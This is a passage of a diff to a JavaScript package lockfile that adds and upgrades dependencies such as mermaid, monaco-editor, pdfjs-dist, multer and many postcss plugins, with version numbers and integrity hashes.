+ "mermaid": ["mermaid@11.13.0", "", { "dependencies": { "@braintree/sanitize-url": "^7.1.1", "@iconify/utils": "^3.0.2", "@mermaid-js/parser": "^1.0.1", "@types/d3": "^7.4.3", "@upsetjs/venn.js": "^2.0.0", "cytoscape": "^3.33.1", "cytoscape-cose-bilkent": "^4.1.0", "cytoscape-fcose": "^2.2.0", "d3": "^7.9.0", "d3-sankey": "^0.12.3", "dagre-d3-es": "7.0.14", "dayjs": "^1.11.19", "dompurify": "^3.3.1", "katex": "^0.16.25", "khroma": "^2.1.0", "lodash-es": "^4.17.23", "marked": "^16.3.0", "roughjs": "^4.6.6", "stylis": "^4.3.6", "ts-dedent": "^2.2.0", "uuid": "^11.1.0" } }, "sha512-fEnci+Immw6lKMFI8sqzjlATTyjLkRa6axrEgLV2yHTfv8r+h1wjFbV6xeRtd4rUV1cS4EpR9rwp3Rci7TRWDw=="],
+
"methods": ["methods@1.1.2", "", {}, "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="],
"micromark": ["micromark@4.0.0", "", { "dependencies": { "@types/debug": "^4.0.0", "debug": "^4.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "micromark-core-commonmark": "^2.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-encode": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-sanitize-uri": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-o/sd0nMof8kYff+TqcDx3VSrgBTcZpSvYcAHIfHhv5VAuNmisCxjhx6YmxS8PFEpb9z5WKWKPdzf0jM23ro3RQ=="],
@@ -3543,20 +3793,24 @@
"minimalistic-crypto-utils": ["minimalistic-crypto-utils@1.0.1", "", {}, "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg=="],
- "minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+ "minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="],
"minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="],
- "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+ "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="],
"mkdirp": ["mkdirp@1.0.4", "", { "bin": "bin/cmd.js" }, "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="],
+ "mlly": ["mlly@1.8.1", "", { "dependencies": { "acorn": "^8.16.0", "pathe": "^2.0.3", "pkg-types": "^1.3.1", "ufo": "^1.6.3" } }, "sha512-SnL6sNutTwRWWR/vcmCYHSADjiEesp5TGQQ0pXyLhW5IoeibRlF/CbSLailbB3CNqJUk9cVJ9dUDnbD7GrcHBQ=="],
+
"module-alias": ["module-alias@2.2.3", "", {}, "sha512-23g5BFj4zdQL/b6tor7Ji+QY4pEfNH784BMslY9Qb0UnJWRAt+lQGLYmRaM0KDBwIG23ffEBELhZDP2rhi9f/Q=="],
"module-details-from-path": ["module-details-from-path@1.0.4", "", {}, "sha512-EGWKgxALGMgzvxYF1UyGTy0HXX/2vHLkw6+NvDKW2jypWbHpjQuj4UMcqQWXHERJhVGKikolT06G3bcKe4fi7w=="],
"moment": ["moment@2.30.1", "", {}, "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how=="],
+ "monaco-editor": ["monaco-editor@0.55.1", "", { "dependencies": { "dompurify": "3.2.7", "marked": "14.0.0" } }, "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A=="],
+
"mongodb": ["mongodb@6.14.2", "", { "dependencies": { "@mongodb-js/saslprep": "^1.1.9", "bson": "^6.10.3", "mongodb-connection-string-url": "^3.0.0" }, "peerDependencies": { "@aws-sdk/credential-providers": "^3.188.0", "@mongodb-js/zstd": "^1.1.0 || ^2.0.0", "gcp-metadata": "^5.2.0", "kerberos": "^2.0.1", "mongodb-client-encryption": ">=6.0.0 <7", "snappy": "^7.2.2", "socks": "^2.7.1" }, "optionalPeers": ["@mongodb-js/zstd", "kerberos", "mongodb-client-encryption", "snappy", "socks"] }, "sha512-kMEHNo0F3P6QKDq17zcDuPeaywK/YaJVCEQRzPF3TOM/Bl9MFg64YE5Tu7ifj37qZJMhwU1tl2Ioivws5gRG5Q=="],
"mongodb-connection-string-url": ["mongodb-connection-string-url@3.0.2", "", { "dependencies": { "@types/whatwg-url": "^11.0.2", "whatwg-url": "^14.1.0 || ^13.0.0" } }, "sha512-rMO7CGo/9BFwyZABcKAWL8UJwH/Kc2x0g72uhDWzG48URRax5TCIcJ7Rc3RZqffZzO/Gwff/jyKwCU9TN8gehA=="],
@@ -3579,7 +3833,7 @@
"ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
- "multer": ["multer@2.0.2", "", { "dependencies": { "append-field": "^1.0.0", "busboy": "^1.6.0", "concat-stream": "^2.0.0", "mkdirp": "^0.5.6", "object-assign": "^4.1.1", "type-is": "^1.6.18", "xtend": "^4.0.2" } }, "sha512-u7f2xaZ/UG8oLXHvtF/oWTRvT44p9ecwBBqTwgJVq0+4BW1g8OW01TyMEGWBHbyMOYVHXslaut7qEQ1meATXgw=="],
+ "multer": ["multer@2.1.1", "", { "dependencies": { "append-field": "^1.0.0", "busboy": "^1.6.0", "concat-stream": "^2.0.0", "type-is": "^1.6.18" } }, "sha512-mo+QTzKlx8R7E5ylSXxWzGoXoZbOsRMpyitcht8By2KHvMbf3tjwosZ/Mu/XYU6UuJ3VZnODIrak5ZrPiPyB6A=="],
"mustache": ["mustache@4.2.0", "", { "bin": "bin/mustache" }, "sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ=="],
@@ -3605,6 +3859,8 @@
"node-int64": ["node-int64@0.4.0", "", {}, "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw=="],
+ "node-readable-to-web-readable-stream": ["node-readable-to-web-readable-stream@0.4.2", "", {}, "sha512-/cMZNI34v//jUTrI+UIo4ieHAB5EZRY/+7OmXZgBxaWBMcW2tGdceIw06RFxWxrKZ5Jp3sI2i5TsRo+CBhtVLQ=="],
+
"node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="],
"node-stdlib-browser": ["node-stdlib-browser@1.3.1", "", { "dependencies": { "assert": "^2.0.0", "browser-resolve": "^2.0.0", "browserify-zlib": "^0.2.0", "buffer": "^5.7.1", "console-browserify": "^1.1.0", "constants-browserify": "^1.0.0", "create-require": "^1.1.1", "crypto-browserify": "^3.12.1", "domain-browser": "4.22.0", "events": "^3.0.0", "https-browserify": "^1.0.0", "isomorphic-timers-promises": "^1.0.1", "os-browserify": "^0.3.0", "path-browserify": "^1.0.1", "pkg-dir": "^5.0.0", "process": "^0.11.10", "punycode": "^1.4.1", "querystring-es3": "^0.2.1", "readable-stream": "^3.6.0", "stream-browserify": "^3.0.0", "stream-http": "^3.2.0", "string_decoder": "^1.0.0", "timers-browserify": "^2.0.4", "tty-browserify": "0.0.1", "url": "^0.11.4", "util": "^0.12.4", "vm-browserify": "^1.0.1" } }, "sha512-X75ZN8DCLftGM5iKwoYLA3rjnrAEs97MkzvSd4q2746Tgpg8b8XWiBGiBG4ZpgcAqBgtgPHTiAc8ZMCvZuikDw=="],
@@ -3651,6 +3907,8 @@
"object.values": ["object.values@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA=="],
+ "okapibm25": ["okapibm25@1.4.1", "", {}, "sha512-UHmeH4MAtZXGFVncwbY7pfFvDVNxpsyM3W66aGPU0SHj1+ld59ty+9lJ0ifcrcnPUl1XdYoDgb06ObyCnpTs3g=="],
+
"ollama": ["ollama@0.5.18", "", { "dependencies": { "whatwg-fetch": "^3.6.20" } }, "sha512-lTFqTf9bo7Cd3hpF6CviBe/DEhewjoZYd9N/uCe7O20qYTvGqrNOFOBDj3lbZgFWHUgDv5EeyusYxsZSLS8nvg=="],
"on-finished": ["on-finished@2.4.1", "", { "dependencies": { "ee-first": "1.1.1" } }, "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg=="],
@@ -3671,6 +3929,8 @@
"openid-client": ["openid-client@6.5.0", "", { "dependencies": { "jose": "^6.0.10", "oauth4webapi": "^3.5.1" } }, "sha512-fAfYaTnOYE2kQCqEJGX9KDObW2aw7IQy4jWpU/+3D3WoCFLbix5Hg6qIPQ6Js9r7f8jDUmsnnguRNCSw4wU/IQ=="],
+ "option": ["option@0.2.4", "", {}, "sha512-pkEqbDyl8ou5cpq+VsnQbe/WlEy5qS7xPzMS1U55OCG9KPvwFD46zDbxQIj3egJSFc3D+XhYOPUzz49zQAVy7A=="],
+
"optionator": ["optionator@0.9.3", "", { "dependencies": { "@aashutoshrathi/word-wrap": "^1.2.3", "deep-is": "^0.1.3", "fast-levenshtein": "^2.0.6", "levn": "^0.4.1", "prelude-ls": "^1.2.1", "type-check": "^0.4.0" } }, "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg=="],
"os-browserify": ["os-browserify@0.3.0", "", {}, "sha512-gjcpUc3clBf9+210TRaDWbf+rZZZEshZ+DlXMRCeAjp0xhTrnQsKHypIy1J3d5hKdUzj69t708EHtU8P6bUn0A=="],
@@ -3695,6 +3955,8 @@
"package-json-from-dist": ["package-json-from-dist@1.0.1", "", {}, "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw=="],
+ "package-manager-detector": ["package-manager-detector@1.6.0", "", {}, "sha512-61A5ThoTiDG/C8s8UMZwSorAGwMJ0ERVGj2OjoW5pAalsNOg15+iQiPzrLJ4jhZ1HJzmC2PIHT2oEiH3R5fzNA=="],
+
"pako": ["pako@1.0.11", "", {}, "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw=="],
"parent-module": ["parent-module@1.0.1", "", { "dependencies": { "callsites": "^3.0.0" } }, "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g=="],
@@ -3737,6 +3999,8 @@
"path-browserify": ["path-browserify@1.0.1", "", {}, "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g=="],
+ "path-data-parser": ["path-data-parser@0.1.0", "", {}, "sha512-NOnmBpt5Y2RWbuv0LMzsayp3lVylAHLPUTut412ZA3l+C4uw4ZVkQbjShYCQ8TCpUMdPapr4YjUqLYD6v68j+w=="],
+
"path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="],
"path-is-absolute": ["path-is-absolute@1.0.1", "", {}, "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg=="],
@@ -3745,16 +4009,18 @@
"path-parse": ["path-parse@1.0.7", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="],
- "path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="],
+ "path-scurry": ["path-scurry@2.0.2", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg=="],
"path-to-regexp": ["path-to-regexp@8.2.0", "", {}, "sha512-TdrF7fW9Rphjq4RjrW0Kp2AW0Ahwu9sRGTkS6bvDi0SCwZlEZYmcfDbEsTz8RVk0EHIS/Vd1bv3JhG+1xZuAyQ=="],
- "path-type": ["path-type@4.0.0", "", {}, "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw=="],
+ "pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="],
"pause": ["pause@0.0.1", "", {}, "sha512-KG8UEiEVkR3wGEb4m5yZkVCzigAD+cVEJck2CzYZO37ZGJfctvVptVO192MwrtPhzONn6go8ylnOdMhKqi4nfg=="],
"pbkdf2": ["pbkdf2@3.1.3", "", { "dependencies": { "create-hash": "~1.1.3", "create-hmac": "^1.1.7", "ripemd160": "=2.0.1", "safe-buffer": "^5.2.1", "sha.js": "^2.4.11", "to-buffer": "^1.2.0" } }, "sha512-wfRLBZ0feWRhCIkoMB6ete7czJcnNnqRpcoWQBLqatqXXmelSRqfdDK4F3u9T2s2cXas/hQJcryI/4lAL+XTlA=="],
+ "pdfjs-dist": ["pdfjs-dist@5.5.207", "", { "optionalDependencies": { "@napi-rs/canvas": "^0.1.95", "node-readable-to-web-readable-stream": "^0.4.2" } }, "sha512-WMqqw06w1vUt9ZfT0gOFhMf3wHsWhaCrxGrckGs5Cci6ybDW87IvPaOd2pnBwT6BJuP/CzXDZxjFgmSULLdsdw=="],
+
"peek-readable": ["peek-readable@5.0.0", "", {}, "sha512-YtCKvLUOvwtMGmrniQPdO7MwPjgkFBtFIrmfSbYmYuq3tKDV/mcfAhBth1+C3ru7uXIZasc/pHnb+YDYNkkj4A=="],
"pend": ["pend@1.2.0", "", {}, "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg=="],
@@ -3773,37 +4039,43 @@
"pkg-dir": ["pkg-dir@4.2.0", "", { "dependencies": { "find-up": "^4.0.0" } }, "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ=="],
+ "pkg-types": ["pkg-types@1.3.1", "", { "dependencies": { "confbox": "^0.1.8", "mlly": "^1.7.4", "pathe": "^2.0.1" } }, "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ=="],
+
"playwright": ["playwright@1.56.1", "", { "dependencies": { "playwright-core": "1.56.1" }, "optionalDependencies": { "fsevents": "2.3.2" }, "bin": "cli.js" }, "sha512-aFi5B0WovBHTEvpM3DzXTUaeN6eN0qWnTkKx4NQaH4Wvcmc153PdaY2UBdSYKaGYw+UyWXSVyxDUg5DoPEttjw=="],
"playwright-core": ["playwright-core@1.56.1", "", { "bin": "cli.js" }, "sha512-hutraynyn31F+Bifme+Ps9Vq59hKuUCz7H1kDOcBs+2oGguKkWTU50bBWrtz34OUWmIwpBTWDxaRPXrIXkgvmQ=="],
+ "points-on-curve": ["points-on-curve@0.2.0", "", {}, "sha512-0mYKnYYe9ZcqMCWhUjItv/oHjvgEsfKvnUTg8sAtnHr3GVy7rGkXCb6d5cSyqrWqL4k81b9CPg3urd+T7aop3A=="],
+
+ "points-on-path": ["points-on-path@0.2.1", "", { "dependencies": { "path-data-parser": "0.1.0", "points-on-curve": "0.2.0" } }, "sha512-25ClnWWuw7JbWZcgqY/gJ4FQWadKxGWk+3kR/7kD0tCaDtPPMj7oHu2ToLaVhfpnHrZzYby2w6tUA0eOIuUg8g=="],
+
"possible-typed-array-names": ["possible-typed-array-names@1.0.0", "", {}, "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q=="],
"postcss": ["postcss@8.5.3", "", { "dependencies": { "nanoid": "^3.3.8", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A=="],
- "postcss-attribute-case-insensitive": ["postcss-attribute-case-insensitive@6.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IRuCwwAAQbgaLhxQdQcIIK0dCVXg3XDUnzgKD8iwdiYdwU4rMWRWyl/W9/0nA4ihVpq5pyALiHB2veBJ0292pw=="],
+ "postcss-attribute-case-insensitive": ["postcss-attribute-case-insensitive@8.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fovIPEV35c2JzVXdmP+sp2xirbBMt54J+upU8u6TSj410kUU5+axgEzvBBSAX8KCybze8CFCelzFAw/FfWg2TA=="],
"postcss-calc": ["postcss-calc@8.2.4", "", { "dependencies": { "postcss-selector-parser": "^6.0.9", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.2" } }, "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q=="],
"postcss-clamp": ["postcss-clamp@4.1.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4.6" } }, "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow=="],
- "postcss-color-functional-notation": ["postcss-color-functional-notation@5.1.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-w2R4py6zrVE1U7FwNaAc76tNQlG9GLkrBbcFw+VhUjyDDiV28vfZG+l4LyPmpoQpeSJVtu8VgNjE8Jv5SpC7dQ=="],
+ "postcss-color-functional-notation": ["postcss-color-functional-notation@8.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-tbmkk6teYpJzFcGwPIhN1gkvxqGHvNx2PMb8Y3S5Ktyn7xOlvD98XzQ99MFY5mAyvXWclDG+BgoJKYJXFJOp5Q=="],
- "postcss-color-hex-alpha": ["postcss-color-hex-alpha@9.0.3", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-7sEHU4tAS6htlxun8AB9LDrCXoljxaC34tFVRlYKcvO+18r5fvGiXgv5bQzN40+4gXLCyWSMRK5FK31244WcCA=="],
+ "postcss-color-hex-alpha": ["postcss-color-hex-alpha@11.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-NCGa6vjIyrjosz9GqRxVKbONBklz5TeipYqTJp3IqbnBWlBq5e5EMtG6MaX4vqk9LzocPfMQkuRK9tfk+OQuKg=="],
- "postcss-color-rebeccapurple": ["postcss-color-rebeccapurple@8.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-xWf/JmAxVoB5bltHpXk+uGRoGFwu4WDAR7210el+iyvTdqiKpDhtcT8N3edXMoVJY0WHFMrKMUieql/wRNiXkw=="],
+ "postcss-color-rebeccapurple": ["postcss-color-rebeccapurple@11.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-g9561mx7cbdqx7XeO/L+lJzVlzu7bICyXr72efBVKZGxIhvBBJf9fGXn3Cb6U4Bwh3LbzQO2e9NWBLVYdX5Eag=="],
"postcss-colormin": ["postcss-colormin@5.3.1", "", { "dependencies": { "browserslist": "^4.21.4", "caniuse-api": "^3.0.0", "colord": "^2.9.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ=="],
"postcss-convert-values": ["postcss-convert-values@5.1.3", "", { "dependencies": { "browserslist": "^4.21.4", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA=="],
- "postcss-custom-media": ["postcss-custom-media@9.1.5", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.2", "@csstools/css-parser-algorithms": "^2.2.0", "@csstools/css-tokenizer": "^2.1.1", "@csstools/media-query-list-parser": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-GStyWMz7Qbo/Gtw1xVspzVSX8eipgNg4lpsO3CAeY4/A1mzok+RV6MCv3fg62trWijh/lYEj6vps4o8JcBBpDA=="],
+ "postcss-custom-media": ["postcss-custom-media@12.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-66syE14+VeqkUf0rRX0bvbTCbNRJF132jD+ceo8th1dap2YJEAqpdh5uG98CE3IbgHT7m9XM0GIlOazNWqQdeA=="],
- "postcss-custom-properties": ["postcss-custom-properties@13.3.4", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.7", "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9YN0gg9sG3OH+Z9xBrp2PWRb+O4msw+5Sbp3ZgqrblrwKspXVQe5zr5sVqi43gJGwW/Rv1A483PRQUzQOEewvA=="],
+ "postcss-custom-properties": ["postcss-custom-properties@15.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-cuyq8sd8dLY0GLbelz1KB8IMIoDECo6RVXMeHeXY2Uw3Q05k/d1GVITdaKLsheqrHbnxlwxzSRZQQ5u+rNtbMg=="],
- "postcss-custom-selectors": ["postcss-custom-selectors@7.1.6", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.5", "@csstools/css-parser-algorithms": "^2.3.2", "@csstools/css-tokenizer": "^2.2.1", "postcss-selector-parser": "^6.0.13" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-svsjWRaxqL3vAzv71dV0/65P24/FB8TbPX+lWyyf9SZ7aZm4S4NhCn7N3Bg+Z5sZunG3FS8xQ80LrCU9hb37cw=="],
+ "postcss-custom-selectors": ["postcss-custom-selectors@9.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-2XBELy4DmdVKimChfaZ2id9u9CSGYQhiJ53SvlfBvMTzLMW2VxuMb9rHsMSQw9kRq/zSbhT5x13EaK8JSmK8KQ=="],
- "postcss-dir-pseudo-class": ["postcss-dir-pseudo-class@7.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-cMnslilYxBf9k3qejnovrUONZx1rXeUZJw06fgIUBzABJe3D2LiLL5WAER7Imt3nrkaIgG05XZBztueLEf5P8w=="],
+ "postcss-dir-pseudo-class": ["postcss-dir-pseudo-class@10.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-DmtIzULpyC8XaH4b5AaUgt4Jic4QmrECqidNCdR7u7naQFdnxX80YI06u238a+ZVRXwURDxVzy0s/UQnWmpVeg=="],
"postcss-discard-comments": ["postcss-discard-comments@5.1.2", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ=="],
@@ -3813,31 +4085,27 @@
"postcss-discard-overridden": ["postcss-discard-overridden@5.1.0", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw=="],
- "postcss-double-position-gradients": ["postcss-double-position-gradients@4.0.4", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-nUAbUXURemLXIrl4Xoia2tiu5z/n8sY+BVDZApoeT9BlpByyrp02P/lFCRrRvZ/zrGRE+MOGLhk8o7VcMCtPtQ=="],
+ "postcss-double-position-gradients": ["postcss-double-position-gradients@7.0.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Msr/dxj8Os7KLJE5Hdhvprwm3K5Zrh1KTY0eFN3ngPKNkej/Usy4BM9JQmqE6CLAkDpHoQVsi4snbL72CPt6qg=="],
- "postcss-focus-visible": ["postcss-focus-visible@8.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-f/Vd+EC/GaKElknU59esVcRYr/Y3t1ZAQyL4u2xSOgkDy4bMCmG7VP5cGvj3+BTLNE9ETfEuz2nnt4qkZwTTeA=="],
